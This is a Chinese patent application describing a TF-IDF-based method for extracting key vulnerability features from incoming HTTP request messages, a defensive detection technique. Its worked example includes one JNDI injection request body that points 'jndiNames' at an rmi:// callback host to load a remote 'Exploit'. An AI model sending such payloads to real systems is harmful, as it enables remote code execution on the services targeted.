CN115935971A - 漏洞的关键特征提取方法、装置、电子设备及存储介质 - Google Patents
漏洞的关键特征提取方法、装置、电子设备及存储介质 Download PDFInfo
- Publication number
- CN115935971A CN115935971A CN202211574409.5A CN202211574409A CN115935971A CN 115935971 A CN115935971 A CN 115935971A CN 202211574409 A CN202211574409 A CN 202211574409A CN 115935971 A CN115935971 A CN 115935971A
- Authority
- CN
- China
- Prior art keywords
- target
- text
- message
- frequency
- word segmentation
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Pending
Links
Images
Abstract
本申请实施例提供一种漏洞的关键特征提取方法、装置、电子设备及存储介质。在本申请实施例中,对待处理请求报文进行报文文本提取,对所提取的报文文本进行分词处理,得到待处理请求报文对应的若干个分词;确定待处理请求报文对应的若干个分词各自对应的逆文本频率,并基于待处理请求报文对应的若干个分词各自对应的逆文本频率提取待处理请求报文对应的漏洞关键特征。由此,采用类似自然语言处理的方式自动提取漏洞关键特征,极大地提高了漏洞关键特征的提取准确度和提取效率。
Description
技术领域
本申请涉及计算机技术领域,尤其涉及一种漏洞的关键特征提取方法、装置、电子设备及存储介质。
背景技术
漏洞是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。漏洞关键特征反映漏洞的显著特点,提取漏洞关键特征是维护系统的安全性和稳定性的必不可少的任务。目前,主要依赖人工经验分析漏洞关键特征。然而,实际应用中,往往会出现各种各样编程语言类型的漏洞,人工很难对每种语言类型的漏洞都能进行专业的分析,进而导致提取的漏洞关键特征往往不够准确,另外,人工投入较大,提取效率较低。
发明内容
本申请的多个方面提供一种漏洞的关键特征提取方法、装置、电子设备及存储介质,用以极大地提高漏洞关键特征的提取准确度和提取效率。
本申请实施例提供一种漏洞关键特征的提取方法,包括:针对请求访问应用服务系统的待处理请求报文,提取待处理请求报文中的目标报文文本;对目标报文文本进行分词处理,得到目标报文文本中包括的至少一个目标分词;确定至少一个目标分词各自的逆文本频率;根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
本申请实施例还提供一种漏洞关键特征的提取装置,包括:文本提取模块,用于针对请求访问应用服务系统的待处理请求报文,提取待处理请求报文中的目标报文文本;分词模块,用于对目标报文文本进行分词处理,得到目标报文文本中包括的至少一个目标分词;确定模块,用于确定至少一个目标分词各自的逆文本频率;特征提取模块,用于根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
本申请实施例还提供一种电子设备,包括:存储器和处理器;存储器,用于存储计算机程序;处理器耦合至存储器,用于执行计算机程序以用于执行漏洞关键特征的提取方法中的步骤。
本申请实施例还提供一种存储有计算机程序的计算机可读存储介质。当计算机程序被处理器执行时,致使处理器能够实现漏洞关键特征的提取方法中的步骤。
在本申请实施例中,对待处理请求报文进行报文文本提取,对所提取的报文文本进行分词处理,得到待处理请求报文对应的若干个分词;确定待处理请求报文对应的若干个分词各自对应的逆文本频率,并基于待处理请求报文对应的若干个分词各自对应的逆文本频率提取待处理请求报文对应的漏洞关键特征。由此,采用类似自然语言处理的方式自动提取漏洞关键特征,极大地提高了漏洞关键特征的提取准确度和提取效率。
附图说明
此处所说明的附图用来提供对本申请的进一步理解,构成本申请的一部分,本申请的示意性实施例及其说明用于解释本申请,并不构成对本申请的不当限定。在附图中:
图1为本申请实施例提供的一种应用场景图;
图2为本申请实施例提供的一种漏洞关键特征的提取方法的流程图;
图3为本申请实施例提供的一种漏洞关键特征的提取装置的结构示意图;
图4为本申请实施例提供的一种电子设备的结构示意图。
具体实施方式
为使本申请的目的、技术方案和优点更加清楚,下面将结合本申请具体实施例及相应的附图对本申请技术方案进行清楚、完整地描述。显然,所描述的实施例仅是本申请一部分实施例,而不是全部的实施例。基于本申请中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本申请保护的范围。
在本申请的实施例中,“至少一个”是指一个或者多个,“多个”是指两个或两个以上。“和/或”,描述关联对象的访问关系,表示可以存在三种关系,例如,A和/或B,可以表示:单独存在A,同时存在A和B,单独存在B这三种情况,其中A,B可以是单数或者复数。在本申请的文字描述中,字符“/”一般表示前后关联对象是一种“或”的关系。此外,在本申请实施例中,“第一”、“第二”、“第三”、“第四”、“第五”以及“第六”只是为了区分不同对象的内容而已,并无其它特殊含义。
目前,主要依赖人工经验分析漏洞关键特征。然而,实际应用中,往往会出现各种各样编程语言类型的漏洞,人工很难对每种语言类型的漏洞都能进行专业的分析,进而导致提取的漏洞关键特征往往不够准确,另外,人工投入较大,提取效率较低。为此,本申请实施例提供一种漏洞的关键特征提取方法、装置、电子设备及存储介质。在本申请实施例中,对待处理请求报文进行报文文本提取,对所提取的报文文本进行分词处理,得到待处理请求报文对应的若干个分词;确定待处理请求报文对应的若干个分词各自对应的逆文本频率,并基于待处理请求报文对应的若干个分词各自对应的逆文本频率提取待处理请求报文对应的漏洞关键特征。由此,采用类似自然语言处理的方式自动提取漏洞关键特征,极大地提高了漏洞关键特征的提取准确度和提取效率。
图1为本申请实施例提供的一种应用场景图。在该应用场景中,首先,构建诸如PHP语言、Java语言和Python语言等各类编程语言的语料库。参见图1中①所示,收集各类编程语言的程序语句,构建每种编程语言对应的语料库。具体而言,针对每种编程语言的各条程序语句,利用诸如正向最大匹配算法、反向最大匹配算法、双向最大匹配算法等各种分词算法对程序语句进行分词处理,得到多个分词,并对各个分词进行词性标注。可标注的词性例如包括但不限于:停用词、特殊字符、缩略词、无用标签和正常用词等等。将标注词性的各个分词作为编程语言的语料存储至编程语言类型下的语料库中。例如,PHP语言语料库存储的是基于PHP语言的程序语句得到的若干个进行了词性标注的分词;Java语言语料库存储的是基于Java语言的程序语句得到的若干个进行了词性标注的分词。Python语言语料库存储的是基于Python语言的程序语句得到的若干个进行了词性标注的分词。
接着,构建每种应用服务系统的历史访问信息库。应用服务系统是提供诸如数据库服务、消息服务和电商服务等各种应用服务的系统,应用服务系统可以是指应用软件、操作系统和服务端口等各种软件系统,也可以是指部署应用软件、操作系统和服务端口等的硬件系统,例如,IDC(Internet Data Center,互联网数据中心)、云端服务器和边缘服务器等等,对此不做限制。
在本实施例中,针对每种应用服务系统,对在历史时间段请求访问应用服务系统的历史正常访问流量进行大数据分析,基于大数据分析结果构建该应用服务系统的历史访问信息库。具体而言,参见图1中的②所示,确定出现在历史正常访问流量中的分词及其逆文本频率(inverse document frequency,IDF),并将各个分词及其逆文本频率关联存储在历史访问信息库中。
值得注意的是,历史正常访问流量是指在通过客户端历史时间段发起的正常的访问流量,而不是由攻击者通过客户端发起的异常的访问流量。可以理解的是,历史正常访问流量中所包括的历史正常请求报文是用户通过客户端在历史时间段发起的正常的请求报文,而不是由攻击者通过客户端发起的异常的请求报文。
接着,针对后续访问应用服务系统的任一请求报文,为了便于理解和区分,将该请求报文称作为待处理请求报文。该待处理请求报文的漏洞关键特征可以由漏洞关键特征的提取装置提取。具体而言,参见图1中的③所示,漏洞关键特征的提取装置基于语料库和历史访问信息库提取待处理请求报文的漏洞关键特征。
最后,参见图1中的④和⑤所示,待处理请求报文的漏洞关键特征提供至开发人员的终端设备,以供开发人员基于待处理请求报文的漏洞关键特征进行漏洞的相关分析,例如,基于待处理请求报文的漏洞关键特征判断待处理请求报文是否为攻击者发起的攻击报文;又例如,基于待处理请求报文的漏洞关键特征定位漏洞的原因。又例如,基于待处理请求报文的漏洞关键特征制定漏洞修复策略等等。
值得注意的是,图1中的各设备的数量和位置关系仅仅是示例性的,对此不做限制。另外,图1所示的应用场景仅仅是示例性的,本申请实施例并不限制应用场景。
以下结合附图,详细说明本申请各实施例提供的技术方案。
图2为本申请实施例提供的一种漏洞关键特征的提取方法的流程图。该方法可以漏洞关键特征的提取装置执行,该装置可以由硬件和/或软件的形式组成,并一般可以集成在电子设备中。参见图2,该方法可以包括以下步骤:
201、针对请求访问应用服务系统的待处理请求报文,提取待处理请求报文中的目标报文文本。
202、对目标报文文本进行分词处理,得到目标报文文本中包括的至少一个目标分词。
203、确定至少一个目标分词各自的逆文本频率。
204、根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
在本实施例中,待处理请求报文是指需要进行漏洞关键特征的提取的访问应用服务系统的任一请求报文。通常,一条请求报文由报文首部和报文主体组成。报文首部主要包括请求方法、请求URL(Universal Resource Locator,统一资源定位符)、协议版本、可选的请求首部字段等组成,报文主体用于记录需要传输的消息数据。
在本实施例中,针对任一待处理请求报文,提取待处理请求报文的报文文本,为了便于理解和区分,将从待处理请求报文中的报文文本称作为目标报文文本。实际应用中,目标报文文本可以从报文首部或报文主体中提取。
例如,待处理请求报文如下:
1POST/HTTP/1.1
2Host:127.0.0.1
3Content-Type:application/json
4
5{
6"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
7"jndiNames":"rmi://{{interactsh-url}}/Exploit"
8}
上述示例的待处理请求报文中的第6至8行为待处理请求中的报文主体,第6至7行的内容为报文主体中的目标报文文本。
在提取到待处理请求报文对应的目标报文文本之后,对目标报文文本进行分词处理,以得到目标报文文本中包括的一个或多个分词。为了便于理解和区分,将从目标报文文本中切分得到的分词称作为目标分词。
实际应用中,目标报文文本中的程序语句可能会经过编码处理,例如经过Base64编码、URL编码等各种编码处理,特别是攻击者容易使用编码处理手段规避安全检测。若目标报文文本中的程序语句经过了编码处理,若不进行解码处理,而直接进行分词处理,容易使得分词不够准确,最终影响所提取的漏洞关键特征的准确度。于是,进一步可选的,为了提高所提取的漏洞关键特征的准确度,在对目标报文文本进行分词处理之前,还可以针对目标报文文本中每条程序语句,判断程序语句是否经过了编码处理;若程序语句经过了编码处理,则对程序语句进行解码处理。
实际应用中,目标报文文本中的程序语句中可能存在ASCII(American StandardCode for Information Interchange,美国信息交换标准代码)中的不可见字符。ASCII字符集由95个可打印字符(0x20-0x7E)和33个控制字符(0x00-0x1F,0x7F)组成。可打印字符用于显示在输出设备上,可打印字符又称为可见字符;控制字符用于向计算机发出一些特殊指令,控制字符无法显示,于是,控制字符又称为不可见字符。不可见字符会影响分词处理的准确度,于是,进一步可选的,为了提高分词处理的准确度和所提取的漏洞关键特征的准确度,针对目标报文文本中每条程序语句,判断程序语句是否经过了编码处理之前,还可以对目标报文文本进行不可见字符识别;若在目标报文文本中识别到不可见字符,将不可见字符从目标报文文本中剔除。可以理解的是,先剔除目标报文文本中的不可见字符,再对目标报文文本中的经过编码处理的程序语句进行解码处理,最后再对目标报文文本进行分词处理,至此完成分词处理之前的数据预处理操作。
实际应用中,对目标报文文本进行分词处理得到的至少一个目标分词中可能有些特殊字符、停用词、缩写词等含大量无关和不必要的无效词。其中,特殊字符是指相对于传统或常用的字符外,使用频率较少字符且难以直接输入的字符或符号,例如包括但不限于:单位符号、制表符、拼音符号、全角符号、特殊符号等等。缩写词是指缩短形式的词,例如,else if词的缩写词为elif。进一步可选的,为了得到更为准确的目标分词的逆文本频率,在对目标报文文本进行分词处理之后,并在确定至少一个目标分词各自的逆文本频率之前,还可以利用与应用服务系统的编程语言类型对应的语料库对至少一个目标分词进行数据清洗,以剔除至少一个目标分词中的指定词性的目标分词。
具体而言,指定词性根据实际应用需求灵活设置,指定词性的词是无关紧要的词。指定词性例如包括但不限于:特殊字符、停用词或缩写词等等。另外,在对至少一个目标分词进行数据清洗过程中,还可以进行大小写转换,将大写的英文字符转换成小写的英文字符。
在本实施例中,预先创建了编程语言类型对应的语料库,每种编程语言类型对应的语料库中存储了大量的已标注词性的分词。通过目标分词与语料库中的已标注词性的分词的匹配结果,可以确定目标分词的词性,并将指定词性的目标分词剔除,保留有效的目标分词。
在语料库的创建阶段,可以获取多个编程语言类型各自对应的多条程序语句;针对每个编程语言类型下的每条程序语句,对程序语句进行分词处理,得到程序语句中包括的至少一个分词;对程序语句中包括的至少一个分词分别进行词性标注;根据编程语言类型下各个已标注词性的分词生成该编程语言类型的语料库。关于语料库创建的更多介绍可以参见自然语言处理领域的语料库创建,在此不再赘述。
在本实施例中,预先对在历史时间段请求访问应用服务系统的历史正常访问流量进行数据分析,确定出现在历史正常访问流量中的分词及其逆文本频率,并将各个分词及其逆文本频率关联存储。示例性的,可以获取在历史时间段请求访问应用服务系统的历史正常访问流量,历史正常访问流量包括至少一个历史正常请求报文;针对每个历史正常请求报文,提取历史正常请求报文的报文主体中的历史报文文本;对每个历史报文文本进行分词处理,得到历史报文文本中包括的至少一个分词;针对历史报文文本中的每个分词,按照第一逆文本频率算法确定分词的逆文本频率;将历史报文文本中的各个分词及其逆文本频率进行关联存储。
实际应用中,可能出现大量重复的历史正常请求报文,进一步可选的,为了减少计算资源浪费,更为准确地确定各个分词的逆文本频率,对每个历史报文文本进行分词处理之前,还可以对至少一个历史报文文本进行去重处理。
实际应用中,历史报文文本中的程序语句可能会经过编码处理。于是,进一步可选的,为了更为准确地确定各个分词的逆文本频率,对每个历史报文文本进行分词处理之前,针对历史报文文本中每条程序语句,判断程序语句是否经过了编码处理;若程序语句经过了编码处理,则对程序语句进行解码处理。
实际应用中,历史报文文本中的程序语句中可能存在ASCII(American中的不可见字符,于是,进一步可选的,为了更为准确地确定各个分词的逆文本频率,在针对历史报文文本中每条程序语句,判断程序语句是否经过了编码处理之前,还可以对历史报文文本进行不可见字符识别;若在历史报文文本中识别到不可见字符,将不可见字符从历史报文文本中剔除。
实际应用中,对历史报文文本中进行分词处理得到的至少一个分词中可能有些特殊字符、停用词、缩写词等含大量无关和不必要的无效词。进一步可选的,为了得到更为准确的分词的逆文本频率,在对每个历史报文文本进行分词处理后,在确定历史报文文本中的每个分词的逆文本频率之前,还可以利用与应用服务系统的编程语言类型对应的语料库对至少一个目标分词进行数据清洗,以剔除至少一个分词中的指定词性的分词。
在本实施例中,在确定历史报文文本中的每个分词的逆文本频率时,按照第一逆文本频率算法确定该分词的逆文本频率。第一逆文本频率算法是基础逆文本频率算法,可以是对基础逆文本频率算法按需灵活改进的逆文本频率算法。具体而言,针对历史报文文本中的每个分词,统计出现分词的历史报文文本的数量;根据出现分词的历史报文文本的数量,以及历史报文文本的总数量,按照第一逆文本频率算法确定分词的逆文本频率。
假设逆文本频率记为IDF,假设参与逆文本频率计算的文本的总数量记为N,针对任意词x,N个文本中包括词x的文本的数量记为N(x);
基础逆文本频率算法如公式(1)所示:
第一逆文本频率算法如公式(2)所示:
在公式(2)中,k为常系数,图2所示的第一逆文本频率算法仅仅是一种示例的在基础逆文本频率算法上改进的逆文本频率算法,对第一逆文本频率算法不做限制。
在本实施例中,历史正常请求报文对应的历史报文文本的数量作为参与逆文本频率计算的文本的总数量N,每个分词所出现的历史报文文本的数量作为包括词x的文本的数量N(x)。
在本实施例中,在得到历史报文文本中各分词的逆文本频率后,对各个分词及其对应的逆文本频率进行关联存储,以便后续使用。
在本实施例中,在获取到待处理请求报文的至少一个目标分词之后,确定至少一个目标分词各自的逆文本频率。具体而言,若目标分词在历史正常访问流量中出现过,则获取预先存储的目标分词的逆文本频率。若目标分词没有在历史正常访问流量中出现过,则实时计算目标分词的逆文本频率。作为一种示例,确定至少一个目标分词各自的逆文本频率时,可以针对每个目标分词,判断预先存储的各分词中是否包括目标分词;若预先存储的各分词中包括目标分词,则获取预先存储的目标分词的逆文本频率,其中,预先存储的分词的逆文本频率是采用第一逆文本频率算法确定的;若预先存储的各分词中不包括目标分词,则采用第二逆文本频率算法确定目标分词的逆文本频率。
在本实施例中,第二逆文本频率算法是对基础逆文本频率算法按需灵活改进的逆文本频率算法,第二逆文本频率算法所确定的逆文本频率大于第一逆文本频率算法所确定的逆文本频率,进而赋予目标分词较大的逆文本频率,使得目标分词相对于预先存储的分词的逆文本频率更大,提高了目标分词被选中作为漏洞关键特征的概率。例如,第一逆文本频率算法设计为上述公式(1),第二逆文本频率算法可以设计为上述公式(2),且k的取值范围为[0,1)。值得注意的是,在计算待处理请求报文中的目标分词的逆文本频率时,N(x)的取值为1。
在本实施例中,在得到至少一个目标分词各自的逆文本频率后,可以根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。例如,按照逆文本频率从高到低的顺序对至少一个目标分词进行排序;选择排序靠前的第一数量个目标分词作为待处理请求报文对应的漏洞关键特征。其中,第一数量根据实际情况灵活设置,例如为3或5。又例如,从至少一个目标分词中选择逆文本频率大于预设的逆文本频率阈值的若干个目标分词作为待处理请求报文对应的漏洞关键特征。又例如,从逆文本频率大于预设的逆文本频率阈值的若干个目标分词中,选择逆文本频率最大的若干个目标分词作为待处理请求报文对应的漏洞关键特征。
在一些可选的实施例中,还可以结合至少一个目标分词各自的词频和逆文本频率从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。于是,进一步可选的,根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征的一种实现方式为:确定至少一个目标分词各自在目标报文文本中出现的词频;根据至少一个目标分词各自的词频和逆文本频率,确定至少一个目标分词各自的词频-逆文本频率;根据至少一个目标分词各自的词频-逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
具体而言,目标分词的词频(term frequency,TF)反映目标分词在目标报文文本中出现的次数。例如,将目标分词在目标报文文本中出现的次数作为目标分词的词频。又例如,基于目标分词在目标报文文本中出现的次数,以及目标报文文本的总词数确定目标分词的词频。总词数是目标报文文本的包括的词的数量。作为一种示例,假设目标分词在目标报文文本中出现的次数记为A,目标报文文本的总词数记为B,词频TF可以按照公式(3)计算:
TF=A/B……(3)
在本实施例中,目标分词的词频-逆文本频率反映目标分词的词频和逆文本频率的乘积。假设词频-逆文本频率记为TF-IDF,TF-IDF可以按照公式(4)计算:
TF-IDF=TF×IDF……(4)
在本实施例中,对基于至少一个目标分词各自的词频-逆文本频率从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征的方式不做限制。例如,可以按照词频-逆文本频率从高到低的顺序,对至少一个目标分词进行排序;选择排序靠前的第二数量个目标分词作为待处理请求报文对应的漏洞关键特征。其中,第二数量根据实际情况灵活设置,例如为3或5。又例如,从至少一个目标分词中选择词频-逆文本频率大于预设的词频-逆文本频率阈值的若干个目标分词作为待处理请求报文对应的漏洞关键特征。又例如,从词频-逆文本频率大于预设的词频-逆文本频率阈值的若干个目标分词中,选择词频-逆文本频率最大的若干个目标分词作为待处理请求报文对应的漏洞关键特征。
本申请实施例提供的技术方案,对待处理请求报文进行报文文本提取,对所提取的报文文本进行分词处理,得到待处理请求报文对应的若干个分词;确定待处理请求报文对应的若干个分词各自对应的逆文本频率,并基于待处理请求报文对应的若干个分词各自对应的逆文本频率提取待处理请求报文对应的漏洞关键特征。由此,采用类似自然语言处理的方式自动提取漏洞关键特征,极大地提高了漏洞关键特征的提取准确度和提取效率。
图3为本申请实施例提供的一种漏洞关键特征的提取装置的结构示意图。参见图3,该装置可以包括:
文本提取模块31,用于针对请求访问应用服务系统的待处理请求报文,提取待处理请求报文中的目标报文文本;
分词模块32,用于对目标报文文本进行分词处理,得到目标报文文本中包括的至少一个目标分词;
确定模块33,用于确定至少一个目标分词各自的逆文本频率;
特征提取模块34,用于根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
进一步可选的,确定模块33确定至少一个目标分词各自的逆文本频率时,具体用于:针对每个目标分词,判断预先存储的各分词中是否包括目标分词;若预先存储的各分词中包括目标分词,则获取预先存储的目标分词的逆文本频率,其中,预先存储的分词的逆文本频率是采用第一逆文本频率算法确定的;若预先存储的各分词中不包括目标分词,则采用第二逆文本频率算法确定目标分词的逆文本频率,第二逆文本频率算法所确定的逆文本频率大于第一逆文本频率算法所确定的逆文本频率。
进一步可选的,特征提取模块34根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征时,具体用于:按照逆文本频率从高到低的顺序对至少一个目标分词进行排序;选择排序靠前的第一数量个目标分词作为待处理请求报文对应的漏洞关键特征。
进一步可选的,特征提取模块34根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征时,具体用于:确定至少一个目标分词各自在目标报文文本中出现的词频;根据至少一个目标分词各自的词频和逆文本频率,确定至少一个目标分词各自的词频-逆文本频率;根据至少一个目标分词各自的词频-逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
进一步可选的,特征提取模块34根据至少一个目标分词各自的词频-逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征时,具体用于:按照词频-逆文本频率从高到低的顺序,对至少一个目标分词进行排序;选择排序靠前的第二数量个目标分词作为待处理请求报文对应的漏洞关键特征。
进一步可选的,上述装置还包括:解码处理模块,用于针对目标报文文本中每条程序语句,判断程序语句是否经过了编码处理;若程序语句经过了编码处理,则对程序语句进行解码处理。
进一步可选的,上述装置还包括:不可见字符处理模块,用于对目标报文文本进行不可见字符识别;若在目标报文文本中识别到不可见字符,将不可见字符从目标报文文本中剔除。
进一步可选的,上述装置还包括:数据清洗模块,用于利用与应用服务系统的编程语言类型对应的语料库对至少一个目标分词进行数据清洗,以剔除至少一个目标分词中的指定词性的目标分词。
进一步可选的,上述装置还包括:语料库创建模块,用于获取多个编程语言类型各自对应的多条程序语句;针对每个编程语言类型下的每条程序语句,对程序语句进行分词处理,得到程序语句中包括的至少一个分词;对程序语句中包括的至少一个分词分别进行词性标注;根据编程语言类型下各个已标注词性的分词生成该编程语言类型的语料库。
进一步可选的,上述装置还包括:数据挖掘模块,用于获取在历史时间段请求访问应用服务系统的至少一个历史正常请求报文;针对每个历史正常请求报文,提取历史正常请求报文的报文主体中的历史报文文本;对每个历史报文文本进行分词处理,得到历史报文文本中包括的至少一个分词;针对历史报文文本中的每个分词,按照第一逆文本频率算法确定分词的逆文本频率;将历史报文文本中的各个分词及其逆文本频率进行关联存储。
进一步可选的,数据挖掘模块针对历史报文文本中的每个分词,按照第一逆文本频率算法确定分词的逆文本频率时,具体用于:针对历史报文文本中的每个分词,统计出现分词的历史报文文本的数量;根据出现分词的历史报文文本的数量,以及历史报文文本的总数量,按照第一逆文本频率算法确定分词的逆文本频率。
图3所示的装置可以执行图2所示实施例的方法,其实现原理和技术效果不再赘述。对于上述实施例中的图3所示的装置其中各个模块、单元执行操作的具体方式已经在有关该方法的实施例中进行了详细描述,此处将不做详细阐述说明。
需要说明的是,上述实施例所提供方法的各步骤的执行主体均可以是同一设备,或者,该方法也由不同设备作为执行主体。比如,步骤201至步骤203的执行主体可以为设备A;又比如,步骤201和202的执行主体可以为设备A,步骤203的执行主体可以为设备B;等等。
另外,在上述实施例及附图中的描述的一些流程中,包含了按照特定顺序出现的多个操作,但是应该清楚了解,这些操作可以不按照其在本文中出现的顺序来执行或并行执行,操作的序号如201、202等,仅仅是用于区分开各个不同的操作,序号本身不代表任何的执行顺序。另外,这些流程可以包括更多或更少的操作,并且这些操作可以按顺序执行或并行执行。需要说明的是,本文中的“第一”、“第二”等描述,是用于区分不同的消息、设备、模块等,不代表先后顺序,也不限定“第一”和“第二”是不同的类型。
图4为本申请实施例提供的一种电子设备的结构示意图。如图4所示,该电子设备包括:存储器41和处理器42;
存储器41,用于存储计算机程序,并可被配置为存储其它各种数据以支持在计算平台上的操作。这些数据的示例包括用于在计算平台上操作的任何应用程序或方法的指令,联系人数据,电话簿数据,消息,图片,视频等。
存储器41可以由任何类型的易失性或非易失性存储设备或者它们的组合实现,如静态随机存取存储器(Static Random-AccessMemory,SRAM),电可擦除可编程只读存储器(Electrically Erasable Programmable read only memory,EEPROM),可擦除可编程只读存储器(Erasable Programmable Read Only Memory,EPROM),可编程只读存储器(Programmable read-only memory,PROM),只读存储器(Read-Only Memory,ROM),磁存储器,快闪存储器,磁盘或光盘。
处理器42,与存储器41耦合,用于执行存储器41中的计算机程序,以用于:针对请求访问应用服务系统的待处理请求报文,提取待处理请求报文中的目标报文文本;对目标报文文本进行分词处理,得到目标报文文本中包括的至少一个目标分词;确定至少一个目标分词各自的逆文本频率;根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取待处理请求报文对应的漏洞关键特征。
进一步,如图4所示,该电子设备还包括:通信组件43、显示器44、电源组件45、音频组件46等其它组件。图4中仅示意性给出部分组件,并不意味着电子设备只包括图4所示组件。另外,图4中虚线框内的组件为可选组件,而非必选组件,具体可视电子设备的产品形态而定。本实施例的电子设备可以实现为台式电脑、笔记本电脑、智能手机或IOT(Internetof things,物联网)设备等终端设备,也可以是常规服务器、云服务器或服务器阵列等服务端设备。若本实施例的电子设备实现为台式电脑、笔记本电脑、智能手机等终端设备,可以包含图4中虚线框内的组件;若本实施例的电子设备实现为常规服务器、云服务器或服务器阵列等服务端设备,则可以不包含图4中虚线框内的组件。
关于处理器执行各动作的详细实施过程可参见前述方法实施例或设备实施例中的相关描述,在此不再赘述。
相应地,本申请实施例还提供一种存储有计算机程序的计算机可读存储介质,计算机程序被执行时能够实现上述方法实施例中可由电子设备执行的各步骤。
相应地,本申请实施例还提供一种计算机程序产品,包括计算机程序/指令,当计算机程序/指令被处理器执行时,致使处理器能够实现上述方法实施例中可由电子设备执行的各步骤。
上述通信组件被配置为便于通信组件所在设备和其他设备之间有线或无线方式的通信。通信组件所在设备可以接入基于通信标准的无线网络,如WiFi,2G、3G、4G/LTE、5G等移动通信网络,或它们的组合。在一个示例性实施例中,通信组件经由广播信道接收来自外部广播管理系统的广播信号或广播相关信息。在一个示例性实施例中,通信组件还包括近场通信(Near Field Communication,NFC)模块,以促进短程通信。例如,在NFC模块可基于射频识别(Radio Frequency Identification,RFID)技术,红外数据协会(The InfraredData Association,IrDA)技术,超宽带(Ultra Wide Band,UWB)技术,蓝牙(Bluetooth,BT)技术和其他技术来实现。
上述显示器包括屏幕,其屏幕可以包括液晶显示器(Liquid Crystal Display,LCD)和触摸面板(touch panel,TP)。如果屏幕包括触摸面板,屏幕可以被实现为触摸屏,以接收来自用户的输入信号。触摸面板包括一个或多个触摸传感器以感测触摸、滑动和触摸面板上的手势。触摸传感器可以不仅感测触摸或滑动动作的边界,而且还检测与触摸或滑动操作相关的持续时间和压力。
上述电源组件,为电源组件所在设备的各种组件提供电力。电源组件可以包括电源管理系统,一个或多个电源,及其他与为电源组件所在设备生成、管理和分配电力相关联的组件。
上述音频组件,可被配置为输出和/或输入音频信号。例如,音频组件包括一个麦克风(microphone,MIC),当音频组件所在设备处于操作模式,如呼叫模式、记录模式和语音识别模式时,麦克风被配置为接收外部音频信号。所接收的音频信号可以被进一步存储在存储器或经由通信组件发送。在一些实施例中,音频组件还包括一个扬声器,用于输出音频信号。
本领域内的技术人员应明白,本申请的实施例可提供为方法、系统、或计算机程序产品。因此,本申请可采用完全硬件实施例、完全软件实施例、或结合软件和硬件方面的实施例的形式。而且,本申请可采用在一个或多个其中包含有计算机可用程序代码的计算机可读存储介质(包括但不限于磁盘存储器、CD-ROM、光学存储器等)上实施的计算机程序产品的形式。
本申请是参照根据本申请实施例的方法、设备(系统)、和计算机程序产品的流程图和/或方框图来描述的。应理解可由计算机程序指令实现流程图和/或方框图中的每一流程和/或方框、以及流程图和/或方框图中的流程和/或方框的结合。可提供这些计算机程序指令到通用计算机、专用计算机、嵌入式处理机或其他可编程数据处理设备的处理器以产生一个机器,使得通过计算机或其他可编程数据处理设备的处理器执行的指令产生用于实现在流程图一个流程或多个流程和/或方框图一个方框或多个方框中指定的功能的装置。
这些计算机程序指令也可存储在能引导计算机或其他可编程数据处理设备以特定方式工作的计算机可读存储器中,使得存储在该计算机可读存储器中的指令产生包括指令装置的制造品,该指令装置实现在流程图一个流程或多个流程和/或方框图一个方框或多个方框中指定的功能。
这些计算机程序指令也可装载到计算机或其他可编程数据处理设备上,使得在计算机或其他可编程设备上执行一系列操作步骤以产生计算机实现的处理,从而在计算机或其他可编程设备上执行的指令提供用于实现在流程图一个流程或多个流程和/或方框图一个方框或多个方框中指定的功能的步骤。
在一个典型的配置中,计算设备包括一个或多个处理器(central processingunit,CPU)、输入/输出接口、网络接口和内存。
内存可能包括计算机可读介质中的非永久性存储器,随机存取存储器(RandomAccess Memory,RAM)和/或非易失性内存等形式,如只读存储器(Read Only Memory,ROM)或闪存(flash RAM)。内存是计算机可读介质的示例。
计算机可读介质包括永久性和非永久性、可移动和非可移动媒体可以由任何方法或技术来实现信息存储。信息可以是计算机可读指令、数据结构、程序的模块或其他数据。计算机的存储介质的例子包括,但不限于相变化内存(Phase Change RAM,PRAM)、静态随机存取存储器(Static Random-Access Memory,SRAM)、动态随机存取存储器(DynamicRandom Access Memory,DRAM)、其他类型的随机存取存储器(Random Access Memory,RAM)、只读存储器(Read Only Memory,ROM)、电可擦除可编程只读存储器(Electrically-Erasable Programmable Read-Only Memory,EEPROM)、快闪记忆体或其他内存技术、只读光盘只读存储器(CD-ROM)、数字多功能光盘(Digital versatile disc,DVD)或其他光学存储、磁盒式磁带,磁带磁盘存储或其他磁性存储设备或任何其他非传输介质,可用于存储可以被计算设备访问的信息。按照本文中的界定,计算机可读介质不包括暂存电脑可读媒体(transitory media),如调制的数据信号和载波。
还需要说明的是,术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、商品或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法、商品或者设备所固有的要素。在没有更多限制的情况下,由语句“包括一个……”限定的要素,并不排除在包括要素的过程、方法、商品或者设备中还存在另外的相同要素。
以上仅为本申请的实施例而已,并不用于限制本申请。对于本领域技术人员来说,本申请可以有各种更改和变化。凡在本申请的精神和原理之内所作的任何修改、等同替换、改进等,均应包含在本申请的权利要求范围之内。
Claims (14)
1.一种漏洞关键特征的提取方法,其特征在于,包括:
